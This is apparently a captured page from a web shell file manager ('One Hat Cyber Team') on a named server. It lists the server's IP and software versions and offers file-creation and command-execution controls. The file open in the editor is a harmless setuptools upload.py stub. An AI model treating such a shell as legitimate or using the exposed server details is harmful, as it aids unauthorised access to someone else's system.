⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
setuptools
/
command
/
Edit File: upload.py
from setuptools.dist import Distribution from setuptools.errors import RemovedCommandError from distutils import log from distutils.command import upload as orig class upload(orig.upload): """Formerly used to upload packages to PyPI.""" distribution: Distribution # override distutils.dist.Distribution with setuptools.dist.Distribution def run(self): msg = ( "The upload command has been removed, use twine to upload " "instead (https://pypi.org/p/twine)" ) self.announce("ERROR: " + msg, log.ERROR) raise RemovedCommandError(msg)
Simpan